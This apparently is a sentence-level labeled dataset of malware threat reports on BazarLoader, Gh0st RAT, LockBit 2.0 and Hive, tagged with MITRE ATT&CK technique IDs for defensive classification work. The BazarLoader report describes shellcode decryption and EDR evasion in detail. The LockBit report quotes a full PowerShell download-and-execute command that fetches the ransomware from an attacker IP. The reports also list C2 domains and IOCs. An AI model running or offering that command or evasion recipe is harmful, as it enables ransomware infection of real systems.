{"sentence": "GoSecure researchers received a sample from the IDR team which was suspected of being BazarLoader, named Report Preview15-10.exe, on 2020-10-06.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Shortly after, GoSecure researchers received yet another BazarLoader sample on 2020-10-08 named Document2-85.exe, which exhibited similar behavior.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The initial infection vector, which has been observed by our Inbox Detection and Response Team (IDR), is via malspam containing fake employment termination notices and anonymous surveys.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The threat actor(s) primarily use Google Drive and Google Docs to distribute their malicious payloads.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The employment termination malspam was observed on October 6, 2020 and the anonymous survey malspam was observed on October 8, 2020.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 1 and Figure 2. Figure 1: BazarLoader Employment Termination Malspam Figure 2: BazarLoader Fake Anonymous Survey We will firstly analyze the employment termination malspam.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the user clicks the link, they will be redirected tohxxps://docs[.]google[.]com/document/d/e/2PACX-1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/pub to download an executable.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The executable Review_Report15-10.exe (3c27fca6d9cf1379eee93e6fea339e61) will appear as a PDF document to users who do not have extensions enabled in Windows, as seen in Figure 3. Figure 3: Stage 1 PDF Icon Lure To help obfuscate its purpose, BazarLoader appears to be bound or obfuscated with legitimate resources from YUVPlayer (A Lightweight YUV player which supports various YUV formats).", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "An example of this can be seen in Figure 4. Figure 4: YUVPlayer Dialog Embedded Resource Once executed, the legitimate application or dialogs will not be shown to the user.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Instead, it will call advapi32.CryptHashData using the string s_)q03vcOm95^+Rj3dG_Jx@k0GGwYOIddH_14025b520 as the data to create a hash using the PROV_RSA_FULL Windows cryptographic provider.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the hash is created, it will create a key using advapi32.CryptDeriveKey.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It will then obtain a handle to the current process for the purpose of allocating memory with PAGE_EXECUTE_READWRITE permissions.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The next function is responsible for copying the shellcode from the .data section to the newly allocated memory location.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the encrypted shellcode has been copied to executable memory, it will then use advapi32.CryptEncrypt to decrypt the shellcode.", "labels": ["T1106", "T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the shellcode has been successfully decrypted, it will execute the shellcode.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Figure 5: BazarLoader Shellcode Decryption Routine Figure 6: Executing Stage 1 Decrypted Shellcode", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The shellcode will obtain a handle to kernel32.LoadLibraryA, kernel32.GetProcAddress, kernel32.VirtualAlloc, kernel32.VirtualProtect and ntdll.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "ZwFlushInstructionCache, by enumerating the Process Environment Block (PEB) using the instruction mov rax,qword ptr gs: [60].", "labels": ["T1057", "T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This is common with shellcode as it will need to resolve these APIs dynamically to interact with the Windows operating system.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once completed, it will then call kernel32.VirtualALloc to prepare injecting a PE executable for the next stage.", "labels": ["T1055", "T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "To build the PE header, it will use the routine shown in Figure 7. Figure 7: Prepare Stage 2 PE Once PE header has been partially copied (excluding MZ magic value), it will start to copy the .text section using the routine shown in Figure 8. Figure 8: Copy .text", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Section Once the .text section is copied, it will start resolving many different Windows APIs using kernel32.GetProcAddress.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "When the additional APIs have been resolved, it will then make the .text section it copied earlier executable using kernel32.VirtualProtect, as seen in Figure 9. Figure 9: Make .text Section Executable NOTE:", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "On different debugging sessions the virtual addressing changed during analysis.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Interestingly, the Portable Executable (PE) BazarLoader is copied into memory (without the MZ header) and will start execution at the end of the .text section using a direct call.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can make unpacking the next stage confusing for reverse engineers as this is not where code in a PE file is supposed to begin.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This code at the end of the .text section is solely responsible for making a call to the real Original Entrypoint (OEP) of the PE.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It is important to note that this is simply used as shellcode and not as a PE in memory.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The other benefit of this technique is no calls to thread related APIs are required, making it more challenging for Endpoint Detection and Response (EDR) solutions to detect.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 10. Figure 10: OEP Shellcode/PE Trickery After the previous trickery in the new memory space, it will start creating another PE in memory, but this time the header does start with the MZ magic value.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "After building the headers, it will copy each PE section one at a time, as seen in Figure 11. Figure 11:", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Building .text Section for Stage 2 Once the PE has been extracted to memory, it will make a direct call instead of using Threading APIs (same trickery as before).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 12.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Figure 12: Calling Stage 2 Shellcode BazarLoader’s stage 2 shellcode will make use of encrypted stack strings for many purposes throughout the rest of its code.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Before it continues with its malicious activity, it will check if the locale is Armenian (0x2b).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Interestingly, instead of shutting down gracefully when the Armenian locale is detected, it will execute a jmp instruction to an invalid address, causing an access violation exception.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "We have seen Russian crimeware checking for the Armenian keyboard layout previously in malware such as KPot, we hypothesize this could be similar behavior.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "To avoid running more than one instance of itself, BazarLoader will create a mutex with a hard-coded UUID, then use kernel32.GetLastError to check for the error ERROR_ALREADY_EXISTS.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "If the mutex already exists, it will exit the process.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The call to kernel32.CreateMutexA can be seen in Figure 13. Figure 13: Mutex Creation Interestingly, BazarLoader will check for mutexes twice.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once completed, it will decyrpt its C2 configuration, as seen in Figure 14. Figure 14: BazarLoader Stage 2 Decrypted Downloader Config", "labels": ["T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once BazarLoader has determined the Armenian language is not being used and another instance of itself is not running, it will make a HTTP HEAD request to hxxps://titlecs[.]com.", "labels": ["T1071.001"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It will continue to do this until it receives a 200 response from the C2 server.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The first request will be sent using wininet.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "HttpSendRequestA, as seen in Figure 15. Figure 15: HTTP HEAD Request", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It is important to note that the HTTP header Update is not a standard header and can be considered anomalous.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This HEAD request can be seen in Figure 16.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Figure 16: BazarLoader C2 Download Domain HEAD Request", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The C2 server will respond with a 200 OK message.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "BazarLoader will also check if it is connected to the internet by making a request to microsoft[.]com, as seen in Figure 17. Figure 17: BazarLoader Internet Connectivity Check Once completed, it will make a POST request to the second domain in its configuration, as seen in Figure 18. Figure 18: BazarLoader C2 Checkin Once completed, it will make a HTTP GET request in order to obtain the next stage, as seen in Figure 19. Figure 19:", "labels": ["T1071.001", "T1078"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "BazarLoader Downloading Encrypted Payload Differences Between Versions There are a few notable differences between the first version of BazarLoader sent on 2020-10-06 (Employment Termination Malspam) and the one sent on 2020-10-08 (Survey Malspam).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The main difference between the two versions is the malware author(s) now include the string Stupid Defender to mock researchers, the shellcode that was stored in the .data section is now stored in the .rsc section, the functionality to get a pointer to the encrypted shellcode and to decrypt it have been broken out into their own separate functions.", "labels": ["T1027", "T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figures 20 and 21. Figure 20: Updated Main Shellcode Decryption/Execution Routine Figure 21: Obtain Encrypted Pointer to Encrypted Shellcode from the Resource Section Figure 22:", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Encrypted Shellcode in Resource Section BazarLoader is becoming increasingly popular amongst threat actors.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "We suspect the reason behind the malware developer(s) success is their use of techniques such as avoiding the use of threading APIs and faking PE injection, when in reality, it is simply shellcode injection.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "These techniques are likely used to confuse Endpoint Detection and Response (EDR) solutions.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Indicator Description hxxps://titlecs[.]com/issues/284 BazarLoader Encrypted Payload URL hxxps://titlecs[.]com/issues/282 BazarLoader Encrypted Payload URL hxxp://ds46x1[.]com/1/run BazarLoader Encrypted Payload URL labelcs[.]com BazarLoader C2 Domain (Employment Termination Malspam)", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "mixcinc[.]com BazarLoader C2 Domain (Employment Termination Malspam)", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "nicknamec[.]com BazarLoader C2 Domain (Employment Termination Malspam) 3c27fca6d9cf1379eee93e6fea339e61 BazarLoader Shellcode Injector (Preview15-10.exe) 3ee60e0efeb5b349a5ba7325ce4a33dc BazarLoader Shellcode Injector (Document2-85.exe) hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/p Employment Termination Malspam Payload URL hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vQ7wK9C0fLCwS3voYLhGz3Gmy6g4UMKe_xZ1ds8xv7LonpviJBXefG9rBZuMPkmtytDYe_5rbDztBnK/pub Survey Malspam Payload URL ds45x1[.]com BazarLoader C2 Domain (Survey Malspam) ds46x1[.]com BazarLoader C2 Domain (Survey Malspam) ds47x1[.]com BazarLoader C2 Domain (Survey Malspam) marcene[.]jack[at]peytoneley[.]com BazarLoader Malspam Email shannon[.]ong35[at]myhunter[.]cuny[.]edu BazarLoader Malspam BazarLoader Malspam Email bessie[.]wilson[at]griply[.]com BazarLoader Malspam Email Lilly Chalupowski Paul Neuman", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Found in Environments Protected by: ProofpointBy Nathaniel Raymond, Cofense IntelligenceGh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities:taking full control of the infected machinerecording keystrokes in real time with offline logging availableaccessing live web cam feeds including microphone recordingdownloading files remotelyremote shutdown and rebootdisabling user inputOver", "labels": ["T1056.001"], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Indicators of CompromiseFiles1680478346389.zipMD5: 9e6c45b6b8b20bf3c5959dbba8f27117LiveUpdate360.datMD5: f149d3f3ef0361ebe4d346811f29b527LiveUpdate.exeMD5: 96e4b47a136910d6f588b40d872e7f9dsetting.iniMD5: 91aab4bbe634be62d11d132738c23a82SqlVersion9.dllMD5: 317f9ff06c076e87e5b1d11242396d5fú¿╡τ-╫╙-╖ó-╞▒ú⌐.exeMD5: 4723a2a8f68c1eaf82809cff29b8e56fURLshxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dllhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xmlhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dathxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exehxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txtCommand and Controlhxxp://61[.]160[.]223[.]114:18076All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The post <strong>Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release</strong> appeared first on Cofense.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Threat Actor Targeting Korean Users through malicious Document Files Cyble Research and Intelligence Labs (CRIL) recently discovered an ongoing campaign associated with the notorious ransomware group LockBit.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "LockBit has been actively operating since September 2019 and consistently employs various methods to spread its malware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "These tactics include distributing phishing emails containing malicious files, utilizing drive-by downloads, and exploiting vulnerabilities in the remote desktop protocol (RDP).", "labels": ["T1210", "T1566.001"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "As a result, LockBit has established itself as a prominent and active threat actor in the realm of ransomware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The LockBit ransomware group utilizes a double extortion technique to enhance their likelihood of obtaining ransom payments from victims.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This technique encompasses multiple stages, including data encryption to render victim data inaccessible and threats to release stolen data on designated leak sites.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "By employing this approach, the group aims to exert significant pressure on victims, compelling them to comply with their demands and pay the ransom.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "LockBit ransomware’s maldocs campaign, initially detected in 2022, had specifically targeted individuals in Korea.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "In their latest campaign, LockBit has once again embraced the approach of disseminating malware through malicious document files targeting Korean individuals.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Notably, the group utilized the same template injection techniques to deliver their payload.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The figure below depicts the delivery method employed by the LockBit ransomware group.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 1 – Lockbit’s Delivery Mechanism Technical Analysis For analysis purposes, we have taken a specific sample (sha256: 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278) which is a .docx file commonly known as Office Open XML (OOXML).", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "OOXML files are essentially packaged ZIP archives that consist of multiple XML files called parts.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "These parts contain various properties that collectively determine the document’s display and processing.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Within these parts, certain properties may reference shared public resources accessible through online URLs.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "It is also observed that the original filenames of the identified .docx samples were written in the Korean language.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The below image shows the malicious document.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 2 – malicious document Upon opening the malicious document, it attempts to establish a connection with the remote server to retrieve the subsequent component of the attack.", "labels": ["T1105", "T1204.002"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This process involves multiple stages of execution.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "In the initial stage, a URL hosting the malicious template file (.dotm) is injected into settings.xml.rels file that resides within the document package.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This enables the document to fetch the .dotm file from the remote server required for further actions.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This technique employed by the attackers aligns with CVE-2017-0199.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The below image shows the extracted content of the document file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 3 – Extracted content of docx file The below figure displays the contents of the settings.xml.rels file, highlighting the inclusion of a malicious URL and the presence of the Target mode within the settings.xml.rels file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 4 – settings.xml.rels file content Once a successful connection to the remote server is established, a malicious template file is downloaded and executed.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The downloaded template file contains an obfuscated VBA macro.", "labels": ["T1027"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "TAs have opted for this technique due to its ability to bypass detection mechanisms.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Unlike traditional methods that rely on suspicious indicators such as macros, this technique does not require their presence in the document until the malicious template is retrieved.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The image below displays the de-Obfuscated VBA content from the downloaded template file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 5 – De-obfuscated macro content The VBA script incorporates a PowerShell command mentioned below to trigger the retrieval of the final stage payload, which is an executable file named “tinytask.exe” from the remote server.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Following the successful download, the script saves the obtained payload in the directory “C:\\Users\\Public\\456trytgre3e45yrthtgr.exe” on the compromised system and proceeds to execute it.", "labels": ["T1059.003"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "“cmd /c powershell/W 01 curl hxxp://91[.]107[.]210[.]207/tinytask.exe -o C:\\Users\\Public\\456trytgre3e45yrthtgr.exe; C:\\Users\\Public\\456trytgre3e45yrthtgr.exe” The downloaded payload is Lockbit ransomware 2.0.", "labels": ["T1059.003"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "LockBit Ransomware: After the LockBit ransomware successfully executes on a system, it initiates a series of actions.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "These actions include encrypting files with .lockbit extension, modifying Windows automatic backups by deleting shadow copies using vssadmin.exe, disabling startup repairs using the bcdedit tool, and more.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The below figure shows the encrypted files with the .lockbit extension.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 6 – Encrypted files & Extensions Additionally, the ransomware leaves a ransom note that provides detailed instructions for making the required payment, as shown in the below figure.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 7 – Lockbit’s Ransom note We recommend referring to our previous blog post to comprehensively examine LockBit 2.0 and Lockbit 3.0 ransomware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Conclusion The Lockbit ransomware has taken a surprising turn by adopting the old strategy of distributing its payload through malicious documents.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This shift in behavior has caught us off guard, making it difficult to predict the motives behind this change.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "However, it is evident that Lockbit remains a significant threat, continuously evolving and expanding its capabilities.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Therefore, users must remain vigilant and adopt robust security measures to protect against potential Lockbit ransomware attacks.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Cyble Research & Intelligence Labs continuously monitor ransomware campaigns and will keep updating our readers with the latest information.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Refrain from opening untrusted links and email attachments without verifying their authenticity.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Disconnect external storage devices if connected.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Inspect system logs for suspicious events.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Impact of Ransomware Loss of Valuable data.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Loss of the organization’s reputation and integrity.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Loss of the organization’s sensitive business information.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Disruption in organization operation.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Financial loss.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionDiscoveryT1082 T1083System Information Discovery File and Directory DiscoveryDefense EvasionT1070Delete shadow drive dataImpactT1486 T1490 Data encrypted for impact Inhibit System RecoveryCommand and controlT1071Application Layer ProtocolIndicators of Compromise (IOCs)", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Indicators Indicator Type Description 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278 462e39e554bd3abb9ecdcec92d861b315f1efb77 2831b37cf521848142e8a5d69515b065Sha256 Sha1 Md5Malicious docx filed833c23bad7b1988832524bce8a6355c97d031bb3852f671e52fdf9024bd6ec0 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20feSha256 Sha1 Md5Malicious docx file78db865edcf1bcd27b765c458ef1675233b11947dfceef7c45fdd254ae514a3f 2a6df9fa510af4d3e7fde1002ad54c5576abbc07 9a1cac28f716d2e660f2bd6297cd560bSha256 Sha1 Md5 Malicious .dotm file8022060ef633e157518037122a6003813cc0a3066d456a1164275a211efc8f5c 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20fe Sha256 Sha1 Md5 Lockbit ransomwarehxxp://91[.]107[.]210[.]207/tinytask[.]exe hxxp://91[.]107[.]210[.]207/b66ssc[.]dotmURLS", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Summary Actions to Take Today to Mitigate Cyber Threats from Ransomware: •", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Prioritize remediating known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "• Enable and enforce multifactor authentication with strong passwords • Close unused ports and remove any application not deemed necessary for day-to-day operations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Victims of ransomware operations should report the incident to their local FBI field office or CISA.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Download the PDF version of this report: pdf, 852.9 kb.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "For a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Technical Details Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The method of initial intrusion will depend on which affiliate targets the network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
